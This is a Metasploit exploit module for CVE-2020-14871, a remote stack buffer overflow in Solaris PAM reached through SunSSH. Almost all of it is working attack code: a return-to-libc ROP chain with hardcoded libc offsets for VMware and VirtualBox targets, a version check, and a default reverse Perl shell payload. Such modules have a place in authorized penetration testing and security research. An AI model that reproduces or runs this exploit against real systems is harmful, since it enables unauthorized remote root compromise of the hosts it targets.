##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in the Solaris PAM
          library's username parsing code, as used by the SunSSH daemon when the
          keyboard-interactive authentication method is specified.

          Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,
          VMware Fusion, and VMware Player. Bare metal untested. Your addresses
          may vary.
        },
        'Author' => [
          'Jacob Thompson', # Analysis
          'Aaron Carreras', # Analysis
          'Jeffrey Martin', # Testing
          'Hacker Fantastic', # PoC
          'wvu' # Exploit
        ],
        'References' => [
          ['CVE', '2020-14871'],
          ['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],
          ['URL', 'https://www.fireeye.com/blog/threat-research/2020/11/critical-buffer-overflow-vulnerability-in-solaris-can-allow-remote-takeover.html'],
          ['URL', 'https://hacker.house/lab/cve-2020-18471/'],
          ['URL', 'https://twitter.com/hackerfantastic/status/1323431512822435841']
        ],
        'DisclosureDate' => '2020-10-20', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Payload' => {
          # https://github.com/illumos/illumos-gate/blob/edd669a7ce20a2f7406e8f00489c426c0690f1bd/usr/src/lib/libpam/pam_framework.c#L615-L617
          'BadChars' => "\x00\x09\x20",
          'Encoder' => 'cmd/perl'
        },
        'Targets' => [
          [
            'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware',
            {
              'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
              'LibcBase' => 0xfeb90000
            }
          ],
          [
            'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox',
            {
              'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
              'LibcBase' => 0xfeb80000
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_perl',
          'SSH_TIMEOUT' => 2,
          'CheckModule' => 'auxiliary/scanner/ssh/ssh_version'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    # Run auxiliary/scanner/ssh/ssh_version
    checkcode = super

    return checkcode unless checkcode == CheckCode::Detected

    unless target['Ident'] == checkcode.details[:ident]
      return CheckCode::Safe("#{target.name} is an incompatible target.")
    end

    CheckCode::Appears("#{target.name} is a compatible target.")
  end

  def exploit
    print_status("Exploiting #{target.name}")

    ssh_client_opts = ssh_client_defaults.merge(
      port: rport,
      auth_methods: ['keyboard-interactive'],
      password: ret2libc, # HACK: This is really the username prompt on Solaris
      timeout: datastore['SSH_TIMEOUT']
    )

    ssh_client_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status("Yeeting #{datastore['PAYLOAD']} at #{peer}")

    # Empty initial username
    Net::SSH.start(rhost, '', ssh_client_opts)
  rescue Net::SSH::AuthenticationFailed
    print_error(CheckCode::Safe.message)
  rescue Net::SSH::Disconnect
    print_warning('Disconnected, target selection may be incorrect!')
  rescue Net::SSH::ConnectionTimeout
    # Do nothing on success
  end

  # XXX: No ASLR, but NX stack and libc base changes...
  def ret2libc
    buf = rand_text(516) # Offset to saved EIP
    buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret
    buf << rand_text(4) # Padding
    buf << p32(0x08040101) # ecx
    buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret
    buf << p32(target['LibcBase'] + 0x256d0) # exit(3)
    buf << p32(target['LibcBase'] + 0x91edf) # system(3)
    buf << rand_text(4) # Padding
    buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret
    buf << payload.encoded
  end

  def p32(addr)
    [addr].pack('V')
  end

end
